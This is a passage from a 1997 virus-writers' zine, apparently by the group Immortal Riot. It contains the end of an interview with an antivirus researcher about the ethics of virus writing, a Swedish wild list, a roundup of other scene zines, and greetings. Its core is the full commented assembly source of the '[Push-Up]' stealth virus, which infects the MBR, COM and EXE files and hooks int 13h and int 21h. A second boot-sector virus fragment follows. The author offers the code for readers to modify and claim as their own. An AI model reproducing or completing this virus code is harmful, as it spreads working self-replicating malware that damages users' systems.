to keep him. i also dont have my sunfish sailboat anymore. i have recently tried to do some oil painting, but lost interest in it. i guess i dont really have any hobbies. do you? > who did you vote for in the president election - 96? i did not vote. > do you think the "virus-infections-problems" will die out > and fade away with the OSes getting more common, dos losing > ground, etc? and in how long time if yes.. i think this depends on how you define 'problems' :) > you sell f-prot professional, what other av-products would > you recommend for the average user? the 'best' product for any job depends on the needs of the user as well as the product. any product which is wildlist compliant is a good 'starting place' for the user. from there, he will need to factor in his individual needs. > about f-prot pro & not-registrated, what are the differences? i have did a comparison for the Command web site...you can see the differences there! (can you tell i'm getting tired? :) > how does your typical monday-friday day look like? > (are you satisfied with your current life?). get up. drink kool-aid. (ok, coffee:). log-on while drinking coffee. answer mail. answer questions about viruses :). answer more questions about viruses :). (answer this mail). look at viruses :). look at more viruses :). try to spend some time researching new topics. answer more questions about and look at more viruses (usually macro viruses). am i satisfied? no. are you? > what plans (irl/computer) do you have for the future? irl, i want to buy a house and a dog :) have a garden and volunteer some time someplace meaningful. for computer, i am thinking maybe ill write some new software, maybe automate some tests which take a lot of my time now, and probably design a new CSecurity model. > do you prefer a dog or a cat? (not for dinner.. pet :)). hey, how did you guess? i have a cat but he lives with my friend. i could not bring him to florida. he loved his house too much. so now i dont have any pet. but hope to have both. well ..since i wrote this, i have bought another dog, he is not yet named, and is still at the pet store ..but i will be bringing him home soon. [since i wrote this (yet another edit :)), the dog from the pet store got sick. so we got yet another dog. our third. this one we named 'lucky'. i hope he is :)] > about viruswriting groups, a lot of us has faded out and died > recently, anything you want to say to them or to the one's that > still remains? i'd be interested to talk to anyone who wants to talk seriously about viruses. > do you consider viruswriting to be a perverted hobby? never did. waste of time. probably unethical from a formalised ethical modeling point of view (if you're Kantian :). can be illegal. but perverted? thats funny :) . have you seen the Internet lately? lets keep things in perspective. i work hard to help users avoid problems from viruses, and feel people need to take active steps to help stop virus distribution. im against indiscriminate virus distribution, and think that as a society we should not overtly or tacitly condone it. but there are far worse problems facing our society. this is not to say viruses are 'no problem'. they sure are! but in the 'big picture' there are far worse problems facing computer users and society in general than the viruses we are seeing today. it is the viruses which i have chosen to fight, and i wont stop fighting against them because it is wrong to make software which hurts people or which has the potential to hurt people. computers should be used for helping people, used for good ethical purposes. now, can you and i talk about why you write viruses and distribute them in your magazine? because i think it is wrong. you can argue that what people decide to do with them is their own business and not your fault, but actually if you didnt give them the viruses, you wouldnt have a role in their using them for bad. as it stands now, you are partly responsible for what they do with what they do with your creation. why not create something which uses the computer to help people, something they can chose to use and thank you for instead? =============================================================================== IRL-Papers ~~~~~~~~~~ I've seen a lot of write-up's concerning computer-viruses lately but since they're all in swedish and me being a bad translator I'm sorry I didn't translate them all for you. If you know some swedish though the page to be on is: http://www.qainfo.se/artiklar_om_virus.htm (or .html dunno). One article called "Virus Buster" is located on http://www.idg.se/cs/artiklar/1996/77/cspe/b10a/b10a.htm (or .html dunno) which's featuring a picture of Klas (S&S Sweden) Sch”ldstr”m "which makes life hard for those who got the idea to create and distribute computer viruses" (He's defintitly geeky looking, check for yourself!). Some quote's from that articles (published in Computer Sweden #77, Friday the 6 of Dec, 1996) follow though (scene-person related, go bitch on him or so..) here. "Last spring, the virus Boza came, that was the first virus for Win/95. But it sucked. It can only infect files in the same directory from where it was executed from and it fails doing it sometimes. It was though a media-hype (or PR-trick) from the virus-authors to be first with a 32-bits-virus". (Now, he also diss the hare virus claiming it's only halts the computer and that he consider macro-viruses the real danger..). Furthermore, they write (which could be interesting in this zine ;)). "Klas consider a virus named One-Half to be among the most naughty one's he's ever seen. - At the occations I've seen a virus spread itself to many computers at one time, it's one-half, he says. "It's made hard to detect and has no bugs. It places itself on the "partition-sector" (direct-translation -tu) and slowly starts to encrypt the harddrive. When half of the hd is encrypted the message "Dis is one half. Press any key to continue" is displayed and at that time, also back-up's is encrypted. (Klas starts his sector-editor (which he wrote himself%!) and takes us a journey trough One Half and its functions.. w-o-w- ;)). (Now, he says we're all kids who seems to love computers, yet are trying to fuck them up and thereby are really hating them..) .SE 10 top wild list -------------------- Junkie.1027 (boot/file) Form.a (bootvirus) Antiexe (bootvirus) Beijing (bootvirus) AntiCMOS (bootvirus) Grangrave.1150 (filevirus (Burglar/H I wrote av against btw! - tu :)) One-Half (boot/file) WM.Concept (macro-virus) Empire Monkey (bootvirus) Ripper (bootvirus) Well.. In case you're interested! ================================================================================ THE HORROR ~~~~~~~~~~ Since I forgot to include this code in the VLAD april fool's edition, here follow [Push-Up] (v. early beta!) written ages and ages ago by someone who surely indeed will turn red-hot-chily-red when seeing this ;). The code is as unoptimized as can be ;) and there are labels and check's w/o corresponding code :-). Double-code inclusion is included for your own sake! You -should- be able to optimize this and feel like an asm-wiz! As shitty old tradition we supply you with un-finished viruses for you to modify and claim your very own creation! Also, as we say in Sweden "a laugh extends your life", so... I guess you'll be like really old after looking closely into this one. Anyways the basic thought for this virus was good since I consider a bs/mbr/com/exe semi-stealth virus an alright replicator. The virus should work, but I guess that's about it, probably not perfectly under all configurations and stuff. To assemble: Tasm /m9 filename.asm To link : tlink /t filename.obj - Moi! .model tiny .code org 100h resid = 5234h bs_marker = '' ;our mbr/bs marker (love me) ;or (me love...) century = 100 shl 1 vsize = (vend-vstart) mem_para= ((vend-vstart)/16)+1 mem_kb = ((vend-vstart)/1024)+1 ;the memory in kb's+1 vsect = ((vend-vstart)/512)+1 ;number of sectors occupied host_start: jmp short vstart ;jmp to virus code db 0 ;pad byte, just for jmp to ;compile 3 bytes ;Real virus-code begin at this entry.... vstart: call $+3 ;call next instruction mov di,sp ;move the stackpointer into di mov bp,word ptr ss:[di] ;load bp with the word at ss:[di] sub bp,offset $-5 ;sub $ - 5 from it and get ;relocation offset in BP ;This is probably to fewl anti-virus ;"heuristic" general signature ;scanning. Might be outdated though. mov ax,ds ;ax=psp add ax,10h ;10h=psp size add word ptr cs:[bp+csip+2],ax ;fix jmp far (segment) to hosts code add word ptr cs:[bp+spss],ax ;fixup real stack segment (for exe's) push ds cs cs ;save ds so we can restore it, if exe pop ds es ;ds=cs=es mov ax,resid ;ax := 5234h mov bx,resid ;bx := 5234h int 13h cmp ax,cx ;ax/bx/cx=5234h ? jne infect_mbr ; jmp return_to_host ;Assume that if resident then ;the mbr must already be infected ;=============================================================================== ; int13h: Useful input: ; output ; if function sucessfull ; Write Sector ; ah = 00h ; ah = 03h ; al = # of sectors written ; al = # of sectors to write ; ch = cylinder ; if function NOT ok ; cl = sector ; CF = set ; dh = head ; ah contains status ; dl = drive ; (not equal to 00) ; - 00-7fh floppy disk ; - 80-ffh fixed disk ; es:bx = segment:offset of buffer ; Note: The same goes for ah=2 (sector read). ;=============================================================================== infect_mbr: ; <- Virus isn't resident! mov ax,201h ; => Read the first sector of drive lea bx,[bp+iobuf] ; C: (80h) to iobuf via function mov cx,1 ; ah=2 / int 13h al = # of sectors mov dx,80h ; to read int 13h mov ax,301h ; function ah=3 = sector write mov cx,2 ; Write es:bx (iobuf) to sector 2. int 13h ; on drive C: (dx=80h). mov word ptr [bp+iobuf],03cebh ;insert jmp to our bootstrap, not ;necessary in mbr infections... lea si,[bp+mbr_bs_code] ;load si with code that will be lea di,[bp+iobuf+03eh] ;written to the sectors mov cx,mbr_bs_size+2 ;(+2 due to marker) cld ;clear direction rep movsb ;store the mbr loading code in the org ;mbr(iobuf) and without destorying ;the partition table mov ax,301h ;Write iobuf (boot-loading code and mov cx,1 ;partition table to sector on on the int 13h ;hd mov ax,300h+vsect ;vsect = # of sectors occupied by virus lea bx,[bp+vstart] ;main virus code to sector 3 mov cx,3 ;aim at sector 3 int 13h ;sector write go_resident: ;this goes resident via mcb's.... but only executed ;when started from exe/com file, else there is another routine... pop es ;restore es to psp due to res-check... push es ;save es for later use mov ax,es ;es=Program Segment Prefix dec ax ; mov ds,ax ;ds=Memory Control Block xor di,di ;zero di cmp byte ptr ds:[di],'Z' ;last MCB? jne return_to_host ;if not last mcb-block, bail sub word ptr ds:[di+3],mem_para ; allocated memory sub word ptr ds:[di+12h],mem_para mov es,word ptr ds:[di+12h] push cs ; cs=ds pop ds xor di,di ; copy virus to TOM push di ; save di = 0 lea si,[bp+vstart] ; mov cx,(vsize/2)+1 ; size of virus in words cld ; clear direction (to inc DI & SI) rep movsw ; copy virus up there pop ds ;ds=0 push ds ;save ds on the stack lds ax,ds:[21h*4] ;get int21h segment:offset adress mov word ptr es:[o21-vstart],ax ;directly from the ivt's adress mov word ptr es:[o21-vstart+2],ds pop ds ;load ds from the stack mov word ptr ds:[21h*4],(i21-vstart) ; set new interrupt 21h handler mov word ptr ds:[21h*4+2],es ; to point to our virus code push ds ; do the same thing, but this time lds ax,ds:[13h*4] ; fix interrupt 13h mov word ptr es:[o13-vstart],ax mov word ptr es:[o13-vstart+2],ds pop ds mov word ptr ds:[13h*4],(i13-vstart) mov word ptr ds:[13h*4+2],es mov byte ptr es:[i13-vstart],0f9h ;put a STC there so no re-hook ;of interrupt 21h is being ;performed mbr_already_infected: ;since mbr already infected ;the virus should be resident ;either via mbr or file... return_to_host: pop ds ;restore ds push ds pop es ;es=ds=psp cmp byte ptr cs:[bp+infection_type],0 ;if infection_type = 0 je com_return ;it's a com-file, else ;assume exe-file exe_return: cli ;disable maskable interrupts mov sp, word ptr cs:[bp+spss+2] ;during ss/sp modifictions mov ss, word ptr cs:[bp+spss] ; sti ;recognize interrupt again xor ax,ax ;clear ax before stating host ;and... db 0eah ;jmp far ptr org_exe cs:ip csip dd 0 ;exe-hosts original cs:ip spss dd 0 ;exe-hosts org ss:sp com_return: mov di,100h ;com-file starts at cs:100h push di ;save di at 100h ;so we return to cs:100h ;once we do a 'RET' lea si,[bp+offset org_com] ;original 3 bytes stored movsw ;in org_com is copied movsb ;from source ds:si to ;destination es:di ret ;ret to 100h mbr_bs_code: ;this code is written to ;infected disks mbr/bs mov si,7c00h xor ax,ax cli ;disable maskable interrupts mov ss,ax ;ss=0 mov sp,si ;sp=7c00h sti ;set stack to (sp:sp) 0:7c00h, ;just below our current cs:ip mov ds,ax ;cs=ds=0 allocate_memory_via_bios: sub word ptr ds:[413h], mem_kb ;subtract bios-memory with ;virus size in kilobytes int 12h ;get memory from bios (kb's) ;output in ax mov cl,6 shl ax,cl ;really a ax/1024 mov es,ax ;es=segment of _non-existing_ ;memory (memory allocated for ;virus-code) xor dh,dh ;zero dh cmp dl,80h ;check if it's hdd0, (dl=80h) je mbr_start ;then it is a mbr start floppy_start: ;This code seems to be ;pretty unfinished. I wonder ;how floppies are being taken ;care off. mbr_start: xor bx,bx mov ax,200h+vsect mov cx,3 push dx ;save drive int 13h ;read vsect number of sectors ;with start at sector 3 of ;hd into vir_seg (es) push ds ;ds=0 lds ax,ds:[13h*4] ;get int 13h's vector mov word ptr es:[o13-vstart],ax mov word ptr es:[o13-vstart+2],ds ;save int 13h's vector pop ds mov word ptr ds:[13h*4],(i13-vstart) mov word ptr ds:[13h*4+2],es ;set int 13h to point to es:i13 push ds ;ds=0 push es mov dx,(load_mbr_bs-vstart) push dx retf ;jmp to es:dx, our vir_seg ;and our code to load ;the real mbr/bs mbr_bs_size = $-mbr_bs_code ;size of mbr/bs code -2 dw bs_marker load_mbr_bs: pop es ;es=0 mov ax,201h ;read sector 2 to mov bx,7c00h ;es:bx = 0000:7c00h mov cx,2 ;sector # = 2 (saved_code) pop dx ;dx=80h int 13h ;load the real mbr/bs from ;sector 2 where we stored it ;(see proc infect_mbr) push es push bx retf ;jmp to 0:7c00h and execute the ;real bs/mbr i13: clc ;changed to a stc when int 21h ;is hooked jc got_i21 ;if we have int21h, don't check ;for exe files being exec'd ;(int21h not yet set) cmp es:[bx],'ZM' ;check for first EXE file to be jne got_i21 ;loaded hook_i21: ;hook interrupt 21h from push ds ax ;the bs/mbr code xor ax,ax mov ds,ax ; ds = 0 push ds lds ax,ds:[21h*4] mov word ptr cs:[o21-vstart],ax mov word ptr cs:[o21-vstart+2],ds pop ds mov word ptr ds:[21h*4],(i21-vstart) mov word ptr ds:[21h*4+2],cs pop ax ds mov byte ptr cs:[i13-vstart],0f9h ;puts a stc at i13 ;(so we recognize it's hooked!) got_i21: res_check: cmp ax,resid ;instalation check cmp ax,5234h jne check_stealth_bs_mbr ;not equal check next function cmp bx,resid ;ax = res_chk check check jne check_stealth_bs_mbr ;bx for same value mov cx,resid ;if ax & bx = 5234h, load iret ;cx with it, too and return check_stealth_bs_mbr: cmp cx,1 ;check ANY int13h function jne org13 ;for "track 0, sector 1" (or so) cmp ah,2 ;check for sector-read w/int13h je stealth_mbr_floppy ;sector_read on sec#1 = stealth! cmp ah,3 ;write to sec#1 ? je stealth_mbr_floppy ;redirect that, too. org13: db 0eah ;jmp far ptr ORG13h o13 dd 0 ;segment:offset adress ret ;if we call org13h, return ;to proper adress... stealth_mbr_floppy: cmp dx,80h ja org13 ;it's not drive C: = bail jb floppy_stealth ;(floppy stealth is not yet ;implemented, it seems) mbr_stealth: inc cx ;redirect read/write to sector2 ;where the orig_mbr is stored call org13 dec cx ;CX = not altered retf 2 ;return floppy_stealth: jmp short org13 ;=============================================================================== ; INTERRUPT 21H HANDLER ; --------------------- ; ax = 5234h = Used for resident-call via int21h ; ah = 4bh = Execute, infect. ; ah = 11h = Find first file via FCB. Decrease file_size increases ; ah = 12h = Find next file via FCB.. Decrease file_size increases ; ah = 4eh = Find first file via file handle. Decrease size increases ; ah = 4fh = Find next file via file handle.. Decrease size increases ;=============================================================================== i21: cmp ax,resid ;if ax = 5234h, return jne _4b ;that value to bx, too mov bx,resid ;and return. iret _4b: cmp ax,4b00h ;infect on file_execute je infect _11: cmp ah,11h ;file stealth jne _12 jmp Stealth_FCB _12: cmp ah,12h ;file stealth jne _4e jmp Stealth_FCB _4e: cmp ah,4eh ;file stealth jne _4f jmp Stealth_Handle _4f: cmp ah,4fh ;file stealth jne org21 jmp Stealth_Handle org21: db 0eah ;jmp far ptr o21 dd 0 ;segment:offset to saved int21h ret ;in case of a call, return. infect: push ax bx cx dx di si ds es ;save register in use mov cx,64 mov al,'.' mov di,dx cld repne scasb cmp word ptr [di-3],'RI' jne go_on1 ;alter this to a "je go_on1" to ;test this w/o infecting ;files! no_open_jmp: jmp no_open go_on1: mov ax,3d82h ;open file in read/write mode int 21h jc no_open_jmp ;error open => bail xchg ax,bx ;place filehandle in BX push cs cs pop es ds ;es=ds=cs mov ax,5700h ;get file's date/time stuff int 21h cmp dh,century ;if it century marked, jb read_first ;assume infection by us, else jmp restore_td ;bail.. read_first: push cx dx ;save date/time stamp mov ah,3fh ;read first 18h bytes of mov dx,(exeheader-vstart) ;file to a buffer called mov cx,18h ;"exeheader" in this source. int 21h mov ax,4202h ;seek EOF and get filesize xor cx,cx ;returned in dx/ax cwd int 21h cmp dx,0 ;check for "valid" file-sizes ja large_enough ;ie. not too big/small. cmp ax,vsize ja large_enough pop dx cx ;restore time/date jmp restore_td large_enough: cmp word ptr ds:[exeheader-vstart],'ZM' ;is it an exefile ? je infect_EXE cmp word ptr ds:[exeheader-vstart],'MZ' ;is it an exefile ? je infect_EXE Infect_COM: ;since we ONLY infect on ;execute, if a program is ;executed by DOS and not ;exe, assume .COM! mov byte ptr ds:[infection_type-vstart],0 ;mark com-infect=on sub ax,3 ;ax=fsize mov word ptr ds:[new_com-vstart+1],ax ;store jmp to v-code mov cx,3 mov dx,(new_com-vstart) push cx dx EXE_continue: ;exe_infection will reach ;this entry later write_virus: mov ah,40h ;function ah=40h, write to mov cx,vsize ;file cx=bytes. cwd ;ds:dx=buffer to write from int 21h ;bx=filehandle cmp byte ptr ds:[infection_type-vstart],0 ; check for com_infect je write_first_bytes ; equal, write first bytes! mov ax,4202h ;else, continue to infect xor cx,cx ;an executed EXE cwd int 21h ;<- Seek end of file mov cx,512 ;Convert size to 512-byte div cx ;pages or dx,dx jz no_increasment inc ax no_increasment: mov word ptr ds:[exeheader-vstart+2],dx ; Insert new filesize mov word ptr ds:[exeheader-vstart+4],ax ; into EXE header write_first_bytes: ; Goto TOF and mov ax,4200h xor cx,cx cwd int 21h mov ah,40h ;write header-info pop dx cx ;cx=3 if com, 18h if exe int 21h pop dx cx ;restore time/date stamp from add dh,century ;stack. Mark with another ;100 years... restore_td: ;<- Restore_time_date mov ax,5701h ;but add 100 years.. int 21h close: ;Close file mov ah,3eh int 21h no_open: pop es ds si di dx cx bx ax ;restore segment/registers jmp org21 ;and return to int21h Infect_EXE: mov byte ptr ds:[infection_type-vstart],1 ;mark exe-infect mov di,(csip-vstart) mov si,(exeheader-vstart+14h) movsw movsw ;save original cs/ip mov si,(exeheader-vstart+0Eh) movsw movsw ;save original ss/sp mov cx,10h div cx ;dx:ax (fsize/10h) = para's sub ax,word ptr ds:[exeheader-vstart+8] ;sub headersize mov word ptr ds:[exeheader-vstart+14h],dx ;Set starting CS:IP mov word ptr ds:[exeheader-vstart+16h],ax ;to end of EXE add ax,100h mov word ptr ds:[exeheader-vstart+0Eh],ax mov word ptr ds:[exeheader-vstart+10h],100h mov cx,18h mov dx,(exeheader-vstart) push cx dx jmp EXE_continue ;=============================================================================== ; DIR-STEALTH ROUTINE ;=============================================================================== ; 11/12/4e/4fh stealth routines are so common and generic these days, ; so it's for no reason to comment them. Similar routines can ; be found in for example ir-mag#7.zip (reality.013). Stealth_FCB: pushf push cs call org21 or al,al jnz FCB_error push ax bx es mov ah,51h int 21h mov es,bx cmp bx,es:[16h] jnz no_stealth mov bx,dx mov ax,[bx] push ax mov ah,2fh int 21h pop ax inc al jnz not_extended add bx,7 not_extended: mov ax,word ptr es:[bx+19h] cmp ah,century jb no_stealth ;not century marked... sub ah,century mov word ptr es:[bx+19h],ax ; cmp word ptr es:[bx+1dh],vsize ;Skip all file_size checks ; ja fcb_stealth ;because it's pretty unlikely ; cmp word ptr es:[bx+1fh],0 ;that any other file is ; je no_stealth ;marked with + 100 years. fcb_stealth: sub word ptr es:[bx+1dh],vsize sbb word ptr es:[bx+1fh],0 ;size stealth done... no_stealth: pop es bx ax FCB_error: iret ;============================================================================== ; Stealth on dir7's directory listenings, or other program which uses ; 4e/4fh for operating. ;============================================================================== Stealth_Handle: pushf push cs call org21 jc handle_error pushf push ax bx es mov ah,2fh int 21h mov ax,word ptr es:[bx+18h] cmp ah,century jb no_stealth_ sub ah,century mov word ptr es:[bx+18h],ax ; cmp word ptr es:[bx+1ah],vsize ; ja stealth2 ; cmp word ptr es:[bx+1ch],0 ; je no_stealth_ stealth2: sub word ptr es:[bx+1ah],vsize sbb word ptr es:[bx+1ch],0 no_stealth_: pop es bx ax popf Handle_Error: retf 2 ;don't change flags... vname db '[Push-Up] v0.001á ' ;virusname & version EGO_tag db '(C) 1995 Immortal Riot (Sweden)' ;group & origin infection_type db 0 ;0=COM,1=EXE new_com db 0e9h,0,0 ;new host bytes, if com(our jmp) exeheader: org_com db 0cdh,20h,0 ;original hosts bytes, if com db 16h dup (0) ;exe-header... vend: heap: iobuf db 512 dup(?) ;a buffer for the original boot-record heap_end: end host_start =============================================================================== If You have no tasm and still wan't to look into this, cut out this hex script to a file and do: debug es=cs :) pop es mov ax, 0201h ; Try to read squezed sector xor dx, dx ; from drive 0, head 0 mov cx, 5101h ; track 81, sector 1 lea bx, last ; to buffer above virus int 13h ; jnc infbx mov ax, 0504h ; Format track with 4 sectors lea bx, fdata ; Offset to sector table int 13h jc infbx ; Skip if unsuccessful mov ax, 0201h ; Read boot sector lea bx, last ; Offset to buffer above virus mov cx, 1 ; First sector int 13h mov ax, 0301h ; Save boot on squezed sector mov cx, 5101h ; Track 81, sector 1 int 13h mov ax, 0303h ; Write virus to squezed sectors mov cl, 02h ; Track 81, sector 2-4 mov bx, 100h ; Offset of virus start int 13h mov word ptr last, 03CEBh ; Put jump in boot sector mov di, offset last+03Eh ; Offset to code in boot sector mov si, offset bootstrap ; Offset to bootstrap routine push cs ; Set ds to our memory pop ds mov cx, strapsize ; Size of boot routine cld ; Clear direction flag rep movsb ; Copy boot routine to boot sector mov ax, 0301h ; Write new bootsector mov cx, 0001h ; to track 0, sector 1 lea bx, last ; bx to buffer int 13h infbx: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax ret infectboot endp fdata db 81,0,1,2 ; Sector layout on squezed track db 81,0,2,2 ; Format is: db 81,0,3,2 ; [track,head,sector,size] db 81,0,4,2 ; sizes: 0=128,1=256,2=512,3=1024 v13: ; ISR for interrupt 13 cmp ah, 2 ; Sector read? je v13acc cmp ah, 3 ; Sector write? jne v13ex v13acc: or dx, dx ; Drive 0, head 0 jnz v13ex cmp cx, 1 ; Boot sector? jne v13ex mov ch, 81 ; Redirect to track 81 int 13h mov ch, 0 jnc v13ex int 13h v13ex: db 0EAh i13o dw ? i13s dw ? grp_tag db 'IR' ; as in Immortal Riot! bootstrap: ; Code to be put in boot sector push cs pop ds sub word ptr ds:[413h], 2 ; Decrease system memory int 12h mov cx, 40h ; Convert to paras mul cx sub ax, 10h mov es, ax push ax mov ax, 0203h ; Read 3 sectors mov bx, 100h mov cx, 5102h ; track 81, sector 2 xor dx, dx ; on drive 0, head 0 int 13h mov bx, offset install ; Jump to code push bx xor ax, ax mov es, ax retf strapsize equ 1+$-offset bootstrap install: push ax ; Save return position mov ax, 0201h ; Read original boot sector mov bx, 7C00h ; to standard position push bx mov cl, 01h ; from sector 1 on track 81 int 13h push es pop ds mov ax, word ptr ds:[4Ch] ; Get interrupt vector mov cs:i13o, ax mov ax, word ptr ds:[4Eh] mov cs:i13s, ax mov word ptr ds:[4Ch], offset v13 mov word ptr ds:[4Eh], cs ; Set interrupt vector retf ; Jump to original boot sector last: end first ================================================================================ Side-effects the conversation way ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This was suppose to be a short summery of what good side effects viruswriting might have. I can't exactly say what you consider being a positive effect of something, but most stuff thought of is negative which of course leads us to a position where it's hard to motivate viruswriting. This mean that this is an important issue to deal with if some of your irl 'friends' all sudden start wondering why the fuck you're doing it and you have'll to defend your rights. Well, you probably have thought about a few good reasons yourself, if you need reasons that is. I said I couldnt give any good reasons to viruswriting stated in the interview published above ;).. Hm, that is definitly to simplify it, but it's for a time a fun thing to do. >Fun? Is it fun to write something with evil intension? Is it fun to >make a bomb? Well, bombs are interesting, but please don't compare those things. When I said "fun", I ment "interesting". Yes, it is interesting to program things. It's interesting to develop code with an unique capability - to self-replicate. It's interesting to meet other people similar yourself and it's interesting and fun to see other people solution and learn from them. The coding itself is just a must to be accepted by the people who I talk with. >But why viruses? Well, do you find any other programs that has the same impact on users than viruses? It's fun to know much about something that not too many people know much about. >So.. it's all about having respect then? No, it's not. I won't discuss this with most people, only with those who're concerned. Plus, I like having knowledge if some smartass need to be "taken care of", but since I dislike physical violence, I find my computer skills somewhat useful. >So, then you distribute your code to people you dislike? No. I didn't say you did now did I? Defence is easy. Just bore them to death and voila, you'll win. The conversation above *was* boring and due to that, I won't write anymore on it. The conversation above wasn't about side-effects at all. Gotcha. As stated somewhere, stay tuned and it will be presented. Not here though. Ha-Ha. Scene-Zines. ~~~~~~~~~~~~ Recently, I've seen a lot of zines/groups popping up and while some has faded away. Well, some say the scene is dying but I think not. Only the "good old virus groups" are. Rabid is dead (hehe!), P/S is, NuKE is RIP, YAM, TridenT, DY, VG and so on are (Not much of news, most people don't even know about some jam ;)) but! there's 'always' new groups coming up some who're really good.. and yea.. Immortal Riot is still around and will be for quite some time.. Don't expect a fade out! The funny thing with virus-groups is that we do release a shitload of zines. A short summary of the scene-zines might be in order here (If I've forgotten one or two.. that is only because I'm tired, but since I dislike to sleep... deal with it) 40hex ----- What I heard P/S died and won't put out any more 40hex issues. Well, most 40hex zines did include things one still can look on and learn from so if you miss them, re-read and study an old one :). VLAD ---- It's sad Qark and Quantum gave the entire virus-thing up, but we'll see what Darkman (who have been outta it recently) can do with it. I miss them ;) seeing my name appear in the greetings to each issue (hehe!) and those games included. After metabolis gave up vlad they lost a little of their "personality". Qark was very good as organiser, too bad (for us) he got tired of it and desided to drop the entire thing. Good luck in life guys! INSANE REALITY: --------------- After our merge with Genesis we finally brought out an issue and in my opinion a very interesting issue, too. Beside the overall code-quality (maybe too high for most) it included a lot of other good non-coding material. Thanks are due to Dark Fiber for doing a lot of work for us! Also worth to mention is that Sepultura and Rajaat put a lot of effort in doing it as good as possible. I heard people complained and gave us negative feedback, yet I can't understand why. There isn't much news in IRG (what I know of anyways) issue#9 is under development and you can if you consider yourself worthy contribute to it. Expect to see a high quality issue! 29#A ---- Vlad-stylish group from Spain(?) I wish good luck in the future. Had some interesting things in issue #1 and we can always hope it remains stable and evolve. Computa-Gangsta --------------- Issue #1 isn't really worth bitching on here. But, it's a first issue and I won't bitch on newcomers. We all started somewhere... STEALTH. -------- Does contain a lot of complex & interesting stuff. Maybe better commented viruses would increase the "overall quality" though. From russia with love :). PLASMA ------ DC is gone. Might have formed another group called RSA. Can be interesting to see what Wild Worker and co. can do with his crew (RSA). (I know he wasn't "pres" but he should be). SVL --- Good luck guys! I surely will enjoy reading this zine! It's quality (besides this article!) poeple expect from you. Hope there will be a issue #2! NuKE ---- Has been dead for several years now, still there is some newbee's on irc asking for VCL2. Don't do that, it's annoying as hell and you'll most likely be kicked or banned two seconds after you pressed enter. So read my lips: NuKE is dead! iKX --- Seems to be an interesting group, including b0z0 and guys. They did contribute to Insane Reality #8 and Sailor Moon is an interesting virus. Minotaurus ---------- Dunno if the spelling is correct or not ;). They should though write their stuff in english if they're around (haven't seen much lately though). So.. there's actually a shitload of groups out there, producing code. Hang around long enough on irc #virus and you'll see them sometime. Greets ~~~~~~ There's so many people to greet really. I would like to thank everyone who have been there for me, on the irc, on email and on the phone. Further greets goes to anyone who won't take this contribution any seriously. I promised to include something and I try to keep my promises. ok? Thanks to all I ever have done a /msg to, and yea.. IRG guys.. keep it up! Rest in Peace ~~~~~~~~~~~~~ Terminator-Z - Farewell. Credits ~~~~~~~ The Unforgiven. - Main article writer. Dark Fiber. - First Sarah Gordon interview. Well, that's it (if not specified somewhere else). Goodbye's and cya somewhere.. somehow. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vlad.Au. Keep on emailing me. Quotation & Poetry ~~~~~~~~~~~~~~~~~~~ Just read my mind and find the complete guide to insanity. Should be trivial if you belong to the second foundation. Personally I dunno about what choice I would made. First, Second or Gaia.. Hm, tricky. But.. who really want to make choices. That sucks. I just want it all :). Quotation of the day: "Even if I'm wrong, doesn't make you right!". Future ~~~~~~ I will continue hanging on the irc, writing my stupid articles and just float around being what I've been. If you found this article chaotic, you're right that was the idea if I might add that. For IRG, the future is as bright as always. Happy Valentine and 1997. The Unforgiven.